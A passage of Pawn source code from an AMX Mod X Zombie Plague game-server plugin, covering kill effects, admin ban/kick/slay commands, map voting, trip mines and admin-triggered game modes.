	if ( g_bZombie [Victim] || !g_bZombie [Victim] )
	{
		remove_task(Victim + 200, 0);
	}
	if (!g_bZombie[Attacker])
	{
		if (g_iPlayerType[Attacker] & 8)
		{
			Make_Explosion(Victim, Attacker);
			send_lava_splash(Victim);
			g_Hidden[Victim] = true;
		}
		else
		{
			g_iPacks[Attacker]++;
			remove_task(Victim + 200, 0);
		}
		if (g_iPlayerType[Attacker])
		{
			SetHamParamInteger(3, 2);
			Make_Headshot_Blood(Victim);
		}
		if (g_iRoundType & 4 || g_iRoundType & 8)
		{
			static iZombies;
			iZombies = GetZombies();
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
			if (iZombies != 1)
			{
			    ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
			}
		}		
	}
	else
	{
		g_iPacks[Attacker] += 2;
		if (g_iZombieClass[Attacker] == 6 && g_iPlayerType[Attacker])
		{
			SetHamParamInteger(3, 2);
			send_screen_fade(Attacker);			
		}
		if (g_iPlayerType[Attacker])
		{
			SetHamParamInteger(3, 2);
			Make_Explosion(Victim, Attacker);
			g_Hidden[Victim] = true;
		}
		if (g_iRoundType & 1 || g_iRoundType & 2)
		{
            static iHumans;
            iHumans = GetHumans();
            set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
            if (iHumans != 1)
			{
			    ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
			}
		}		
	}
	return;
}

public UpdateWeapon(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	return 0;
}

public Event_CurWeapon_KnifeModel(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bZombie[iPlayer])
	{
		switch (g_iPlayerType[iPlayer])
		{
			case 0:
			{
				set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
			}
			case 1:
			{
				set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/nemesis_claws.mdl");
			}
			case 2:
			{
				set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/assassin_claws.mdl");
			}
			default:
			{
			}
		}
		set_pev(iPlayer, pev_weaponmodel2, "");
	}
	else
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			set_jetpack(iPlayer);
		}
		if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
		{
			set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/v_awp_winter.mdl");
		}
	}
	return 0;
}

public Event_CurWeapon_FillClip(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bUnlimitedClip[iPlayer] || g_iPlayerType[iPlayer] & 4)
	{
		if(!(Thrownable_Weapons & ( 1 << g_iWeapon[iPlayer])))
		{
			set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), g_iMaxClip[g_iWeapon[iPlayer]]);
		}
	}
	return 0;
}

public Command_Unban(iPlayer)
{
	if (!GetAccess(iPlayer, 2048, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	if (contain(cArgument, ":") != -1)
	{
	    server_cmd("removeid ^"%s^";writeip", cArgument);
	    MessageLog(0, "^1[ADMIN]^4 %s^1: unbanned^4 %s", g_cName[iPlayer], cArgument);
	} 
	if (contain(cArgument, ".") != -1)
	{
	    server_cmd("removeip ^"%s^";writeid", cArgument);
	    MessageLog(0, "^1[ADMIN]^4 %s^1: unbanned^4 %s", g_cName[iPlayer], cArgument);
	}
	return 1;
}

public Command_Addban(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 3))
	{
		return 1;
	}
	if (3 < g_iLimitReached[iPlayer])
	{
	    return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTime;
	static iMinutes[32];
	read_argv(2, iMinutes, 31);
	iTime = clamp(str_to_num(iMinutes), 0, 999999);
	if (contain(cArgument, ":") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
	{
	    server_cmd("banid %i %s", iTime, cArgument);
	    server_cmd("writeid");
	    if (iTime)
	    {
	        MessageLog(0, "^1[ADMIN]^4 %s^1: ban^4 %s^1 for^4 %i minutes", g_cName[iPlayer], cArgument, iTime);
	    }
	    else
	    {
	        MessageLog(0, "^1[ADMIN]^4 %s^1: ban^4 %s^3 permanently", g_cName[iPlayer], cArgument);
	    }
	    g_iLimitReached[iPlayer]++;
	}
	if (contain(cArgument, ".") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
	{
	    server_cmd("addip %i ^"%s^";writeip", iTime, cArgument);
	    if (iTime)
	    {
	        MessageLog(0, "^1[ADMIN]^4 %s^1: ban^4 %s^1 for^4 %i minutes", g_cName[iPlayer], cArgument, iTime);
	    }
	    else
	    {
	        MessageLog(0, "^1[ADMIN]^4 %s^1: ban^4 %s^3 permanently", g_cName[iPlayer], cArgument);
	    }
	    g_iLimitReached[iPlayer]++;
	}		
	return 1;
}

public Command_Banip(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 4))
	{
		return 1;
	}	
	static szArgument[32];
	read_argv(1, szArgument, 31);
	static iTime;
	static szTime[7];
	read_argv(2, szTime, 6);
	iTime = clamp(str_to_num(szTime), 0, 999999);
	static szReason[64];
	read_argv(3, szReason, 63);
	static iTarget;
	iTarget = GetTarget(iPlayer, szArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	g_iLimitReached[iPlayer]++;
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	console_print(iTarget, "*****************************");
	console_print(iTarget, "Ban Informations:");
	console_print(iTarget, "[*] Banned by admin: %s", g_cName[iPlayer]);
	if (iTime)
	{
		console_print(iTarget, "[*] Banned for: %i minutes", iTime);
	}
	else
	{
		console_print(iTarget, "[*] Banned permanently");
	}
	console_print(iTarget, "[*] Banned on: %s", g_cPlayerAddress[iTarget]);
	console_print(iTarget, "[*] Ban reason is: %s", szReason);
	console_print(iTarget, "*****************************");
	server_cmd("addip %i %s;writeip", iTime, g_cPlayerAddress[iTarget]);
	if (iTime)
	{
		MessageLog(0, "^1[ADMIN]^4 %s^1: banned^4 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], iTime);
		MessageLog(0, "^1Reason:^4 %s", szReason);
	}
	else
	{
		MessageLog(0, "^1[ADMIN]^4 %s^1: banned^4 %s^3 permanently", g_cName[iPlayer], g_cName[iTarget]);
		MessageLog(0, "^1Reason:^4 %s", szReason);
	}
	return 1;
}

public CmdFreeze(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	PrintToChat(0, "^1[ADMIN]^4 %s^1: made^4 %s^3 frost^1 due to^3 camping", g_cName[iPlayer], g_cName[iTarget]);
	set_frozen(iTarget, true);
	set_glow(iTarget, 19, 32, 0, 50, 90);
	g_bFrozen[iTarget] = true;
	ExecuteHamB(Ham_Item_PreFrame, iTarget);
	return 1;
}

public CmdUnfreeze(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	PrintToChat(0, "^1[ADMIN]^4 %s:^1 made^4 %s^3 unfrozen", g_cName[iPlayer], g_cName[iTarget]);
	set_frozen(iTarget, false);
	remove_glow(iTarget);
	g_bFrozen[iTarget] = false;
	ExecuteHamB(Ham_Item_PreFrame, iTarget);
	return 1;
}

public Command_Kick(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 5);
	if (!iTarget)
	{
		return 1;
	}
	server_cmd("kick #%i", get_user_userid(iTarget));
	MessageLog(0, "^1[ADMIN]^4 %s^1: kick^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Slap(iPlayer)
{
	if (!GetAccess(iPlayer, 16, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	user_slap(iTarget, 0, 1);
	MessageLog(0, "^1[ADMIN]^4 %s^1: slap^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Slay(iPlayer)
{
	if (!GetAccess(iPlayer, 16, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	user_kill(iTarget);
	MessageLog(0, "^1[ADMIN]^4 %s^1: slay^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Map(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	if (is_map_valid(cArgument))
	{
		MessageLog(0, "^1[ADMIN]^4 %s^1: change map to^4 %s", g_cName[iPlayer], cArgument);
		set_cvar_string("nextmap", cArgument);
		set_task(1.0, "TaskInt", 0, "", 0, "", 0);
		set_task(3.0, "TaskChangeLevel", 0, "", 0, "", 0);
	}
	else
	{
		client_print(iPlayer, 2, "[AMXX] The map you want isn't a valid map!");
	}
	return 1;
}

public Command_AddFake(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 2))
	{
		return 1;
	}
	remove_task(750, 0);
	set_task(3.0, "Task_CheckBots", 750, "", 0, "b", 0);
	return 1;
}

public MessageMoney(iMessage, iDestination, iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		reset_money(iPlayer);
	}
	return 1;
}

public CmdVoteMap(iPlayer)
{
	if (get_user_flags(iPlayer) & read_flags ( "d" ))
	{
		if (3 > read_argc())
		{
			console_print(iPlayer, "[ZP] Command usage is amx_votemap <map> <map>");
			return 1;
		}
		if (g_bVoting || g_bSecondVoting)
		{
			console_print(iPlayer, "[ZP] You can't start the vote right now..");
			return 1;
		}	
		static cSecondMap[32];
		static cMap[32];
		read_argv(1, cMap, 32);
		read_argv(2, cSecondMap, 32);
		if (is_map_valid(cMap) && is_map_valid(cSecondMap))
		{
			static i;
			g_bSecondVoting = true;
			set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
			MessageLog(0, "^4[ZP]^1 ADMIN^4 %s^1 initiated a vote with^4 %s^1 and^4 %s", g_cName[iPlayer], cMap, cSecondMap);
			copy(g_cSecondMaps[0], 32, cMap);
			copy(g_cSecondMaps[1], 32, cSecondMap);
			g_iMenu = menu_create("Choose the next map!", "SecondVotePanel", 0);
			menu_additem(g_iMenu, cMap, "1", 0, -1);
			menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
			menu_setprop(g_iMenu, 6, -1);
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && !g_bFake[i])
				{
					menu_display(i, g_iMenu, 0);
				}
				i += 1;
			}
		}
		else
		{
			console_print(iPlayer, "[ZP] Unable to find specified map or one of the specified map(s)!");
		}
		return 1;
	}
	return 0;
}

public VotePanel(iPlayer, iMenu, iItem)
{
	if (iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		if (g_bVoting)
		{
			static iKeyMinusDoi;
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			iKeyMinusDoi = iKey + -2;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (0 > iKeyMinusDoi)
			{
				iKeyMinusDoi = 0;
			}
			if (iKey == 1)
			{
				if (g_iVotes[0] + 1 == 1)	
				{	
				    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
				}	
				else
				{
				    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
				}	
			}
			else
			{
				if (g_iVotes[iKeyMinusUnu] == 1)
				{
					PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				}	
				else
				{
 					PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				}	
			}
			g_iVotes[iKeyMinusUnu]++;
		}
		else
		{
			PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public SecondVotePanel(iPlayer, iMenu, iItem)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		if (g_bSecondVoting)
		{
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (g_iSecondVotes[iKeyMinusUnu] == 1)
			{
			    PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);

			}
			else
			{
			    PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
			}
			g_iSecondVotes[iKeyMinusUnu]++;
		}
		else
		{
			PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public TaskInt()
{
	send_intermission();
	return 0;
}

public TaskChangeLevel()
{
	changelevel();
	return 0;
}

public CheckSecondVotes(iPlayer)
{
	static iVoteOption;
	static iMaximumVotes;
	g_bSecondVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 2)
	{
		if (iMaximumVotes < g_iSecondVotes[g_iVariable])
		{
			iMaximumVotes = g_iSecondVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	PrintToChat(0, "^1The next map will be^4 %s", g_cSecondMaps[iVoteOption]);
	set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
	if (g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
		menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
		menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
		menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
		menu_setprop(g_iMenu, 6, -1);
		menu_display(iPlayer, g_iMenu, 0);
	}
	g_iSecondVotes[1] = 0;
	g_iSecondVotes[0] = 0;
	return 0;
}

public _MenuChange(iPlayer, iMenu, iItem)
{
	static iChoice;
	static iDummy;
	static cBuffer[3];
	menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
	iChoice = str_to_num(cBuffer);
	switch (iChoice)
	{
		case 0:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			PrintToChat(0, "^4[ZP]^1 Changing map to^4 %s^1...", cMap);
			set_cvar_num("mp_timelimit", 0);
			set_task(1.0, "TaskChangeLevel", 0, "", 0, "", 0);
		}
		case 1:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			PrintToChat(0, "^4[ZP]^1 Console variable^4 nextmap^1 has been changed to^4 %s^1...", cMap);
			set_cvar_num("mp_timelimit", 0);
			g_iVariables[0] = 1;
		}
		case 2:
		{
			PrintToChat(0, "^4[ZP]^1 We will stay here...");
		}
		default:
		{
		}
	}
	return 0;
}

public CheckVotes()
{
	static iVoteOption;
	static iMaximumVotes;
	g_bVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		if (iMaximumVotes < g_iVotes[g_iVariable])
		{
			iMaximumVotes = g_iVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (iVoteOption)
	{
		PrintToChat(0, "^1The next map will be^4 %s", g_cMaps[iVoteOption + -1]);
		set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
		set_cvar_num("mp_timelimit", 0);
		g_iVariables[0] = 1;
	}
	else
	{
		PrintToChat(0, "^1This map will be extended with^4 10^1 minutes!");
		g_iVariable = 0;
		while (g_iVariable < 5)
		{
			g_iVotes[g_iVariable] = 0;
			g_iVariable += 1;
		}
		set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
		set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
	}
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		g_iVotes[g_iVariable] = 0;
		g_iVariable += 1;
	}
	return 0;
}

public CheckTimeleft(iDecimal)
{
	static Float:fTimeLeft;
	fTimeLeft = GetTimeLeft();
	if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
	{
		remove_task(iDecimal, 0);
		g_bVoting = true;
		set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
		g_iMenu = menu_create("Choose the next map!", "VotePanel", 0);
		menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
		static j[32];
		static i;
		i = 2;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			num_to_str(i, j, 32);
			menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
			i += 1;
			g_iVariable += 1;
		}
		menu_setprop(g_iMenu, 6, -1);
		g_iVariable = 1;
		while (g_iMaxClients + 1 > g_iVariable)
		{
			if (g_bConnected[g_iVariable] && !g_bFake[g_iVariable])
			{
				menu_display(g_iVariable, g_iMenu, 0);
			}
			g_iVariable += 1;
		}
		PrintToChat(0, "^1It's time to^4 choose the nextmap^1...");
		client_cmd(0, "spk Gman/Gman_Choose2");
	}
	return 0;
}

Float:GetTimeLeft()
{
    return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}

public Command_Plant(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
			return 0;
		}
		if (g_bZombie[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
			return 0;
		}
		if (!g_iTripMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You don't have a trip mine to plant");
			return 0;
		}
		if (1 < g_iPlantedMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You can plant only^3 2 trip mines^1...");
			return 0;
		}
		if (g_iRoundType & 128 || g_bRoundEnd)
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You can't plant a trip mine right now...");
			return 0;
		}
		if (g_iPlanting[iPlayer] || g_iRemoving[iPlayer])
		{
			return 0;
		}
		if (CanPlant(iPlayer))
		{
			g_iPlanting[iPlayer] = true;
			send_bar_time(iPlayer);
			set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
		}
	}
	return 0;
}

public Func_RemoveMinesByOwner( iPlayer ) 
{
	static iEntity, szClassName[ 32 ];
	for( iEntity = 0; iEntity < 600 + 1; iEntity++ ) 
	{
		if( !is_valid_ent( iEntity ) )
		{
			continue;
		}
		
		szClassName[ 0 ] = '^0';
		entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
		
		if( equal( szClassName, "zp_trip_mine" ) )
		{
			if( entity_get_int( iEntity, EV_INT_iuser2 ) == iPlayer )
			{
				remove_entity( iEntity );
			}
		}
	}
}

public Command_Take(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
			return 0;
		}
		if (g_bZombie[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
			return 0;
		}
		if (!g_iPlantedMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You don't have a planted trip mine");
			return 0;
		}
		if (g_iPlanting[iPlayer] || g_iRemoving[iPlayer])
		{
			return 0;
		}
		if (CanTake(iPlayer))
		{
			g_iRemoving[iPlayer] = true;
			send_bar_time(iPlayer);
			set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);
		}
	}
	return 0;
}

bool:CanTake(iPlayer) 
{
	static iEntity, szClassName[ 32 ], Float: flOwnerOrigin[ 3 ], Float: flEntityOrigin[ 3 ];
	for( iEntity = 0; iEntity < 600 + 1; iEntity++ ) 
	{
		if( !is_valid_ent( iEntity ) )
			continue;
		
		szClassName[ 0 ] = '^0';
		entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
		
		if( equal( szClassName, "zp_trip_mine" ) ) 
		{
			if (iPlayer == entity_get_int(iEntity, EV_INT_iuser2))
			{
				entity_get_vector( iPlayer, EV_VEC_origin, flOwnerOrigin );
				entity_get_vector( iEntity, EV_VEC_origin, flEntityOrigin );
				
				if( get_distance_f( flOwnerOrigin, flEntityOrigin ) < 55.0 )
					return true;
			}
		}
	}
	
	return false;
}

bool:CanPlant(iPlayer) 
{
	static Float: flOrigin[ 3 ];
	entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
	
	static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
	velocity_by_aim( iPlayer, 64, flTraceDirection );
	flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
	flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
	flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
	
	static Float: flFraction, iTr;
	iTr = 0;
	engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
	get_tr2( iTr, TR_vecEndPos, flTraceResult );
	get_tr2( iTr, TR_vecPlaneNormal, flNormal );
	get_tr2( iTr, TR_flFraction, flFraction );
	
	if( flFraction >= 1.0 ) 
	{
		PrintToChat ( iPlayer, "^4[ZP]^1 You must plant the^3 mine^1 on a wall!" );
		
		return false;
	}
	
	return true;
}

public CmdMode(iPlayer)
{
	if (g_bAdmin[iPlayer])
	{
		static iJetpacks[33];
		static AssassinUsed;
		static NemesisUsed;
		static UsedAlready[33];		
		static cAmmo[4];
		static iAlive;
		static iTarget;
		static cTarget[32];
		static cMode[32];
		static iAmmo;
		read_argv(0, cMode, 32);
		read_argv(1, cTarget, 31);
		read_argv(2, cAmmo, 4);
		iAlive = GetAliveCount();
		iAmmo = clamp(str_to_num(cAmmo), 0, 999999);
		iTarget = GetTarget(iPlayer, cTarget, 2);
		if (floatsub(get_gametime(), g_fRoundStartTime) < 2.0)			
		{
			PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after round started!");
			console_print(iPlayer, "[ZP] Please wait at least two seconds after round started!");
		}
		if (equal(cMode, "zp_jetpack", 0) && iTarget && get_user_flags ( iPlayer ) & read_flags ( "a" ) && g_bAlive[iTarget] && !g_bZombie[iTarget] && iJetpacks[iPlayer] <= 3)
		{
			if (get_user_jetpack(iTarget))
			{
			    user_drop_jetpack(iTarget, 1);
			}
			set_user_jetpack(iTarget, 1);
			iJetpacks[iPlayer]++;
			set_user_fuel(iTarget, 250.0);
			set_user_rocket_time(iTarget, 0.0);
			send_say_text(iTarget, g_iMaxClients + 1, "^4[ZP]^1 Press^3 CTR+SPACE^1 to fly!");
			send_say_text(iTarget, g_iMaxClients + 1, "^4[ZP]^1 Press^3 RIGHT CLICK^1 to shoot!");
		}		
		if (get_user_flags ( iPlayer ) & read_flags ( "a" ) && equal(cMode, "zp_giveap") && iTarget && g_iRoundsCount > 1)
		{
			PrintToChat(0, "^1[ADMIN]^4 %s^1: give^4 %d^1 ammopacks to^4 %s", g_cName[iPlayer], iAmmo, g_cName[iTarget]);
			g_iPacks[iTarget] += iAmmo;
		}
		if (get_user_flags ( iPlayer ) & read_flags ( "r" ) && equal(cMode, "zp_human") && iTarget && !UsedAlready[iPlayer] && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 1)
		{
			if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
			{
			    return 0;
			}
			MakeHuman(iTarget, false, false);
			UsedAlready[iPlayer] = 1;
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Human", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (get_user_flags ( iPlayer ) & read_flags ( "r" ) && equal(cMode, "amx_respawn") && iTarget && !g_bAlive[iTarget] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 1)
			
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iTarget);
			MessageLog(0, "^1[ADMIN]^4 %s^1: respawned^4 %s", g_cName[iPlayer], g_cName[iTarget]);
			UsedAlready[iPlayer] = 1;
			log_to_file("zombie_plague_advance.log", "%s respawn %s", g_cName[iPlayer], g_cName[iTarget]);
		}		
		if (equal(cMode, "zp_zombie") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && get_user_flags ( iPlayer ) & read_flags ( "r" ))
		{
			if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
			{
			    return 0;
			}
			if (g_bRoundStart)
			{
			    StartNormalMode(iTarget);
			    remove_task(700, 0);
			    g_bRoundStart = false;
			    remove_task(550, 0);
			    MessageLog(0, "^4[ADMIN]^3 %s^1 made^3 %s^1 a^4 Zombie^1 [^4 First Zombie^1 ]", g_cName[iPlayer], g_cName[iTarget]);
			    log_to_file("zombie_plague_advance.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer], g_cName[iTarget]);
			}
			else
			{
			    MakeZombie(0, iTarget, false, false, false);
			    UsedAlready[iPlayer] = 1;
			    MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Zombie", g_cName[iPlayer], g_cName[iTarget]);
			    log_to_file("zombie_plague_advance.log", "%s made %s a Zombie", g_cName[iPlayer], g_cName[iTarget]);
			}
		}
		if (equal(cMode, "zp_sniper") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "a" ) && g_iRoundsCount > 1)
		{
			StartSniperMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Sniper", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s a Sniper", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_survivor") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "a" ) && g_iRoundsCount > 1)
		{
			StartSurvivorMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Survivor", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s a Survivor", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_nemesis") && iTarget && !NemesisUsed && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && g_iRoundsCount > 1)
		{
			StartNemesisMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			NemesisUsed = 1;
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s a Nemesis", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_assassin") && iTarget && !AssassinUsed && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && g_iRoundsCount > 1)
		{
			StartAssassinMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			AssassinUsed = 1;
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Assassin", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s an Assassin", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_swarm") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 1)
		{
			StartSwarmMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Swarm^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Swarm round", g_cName[iPlayer]);
		}		
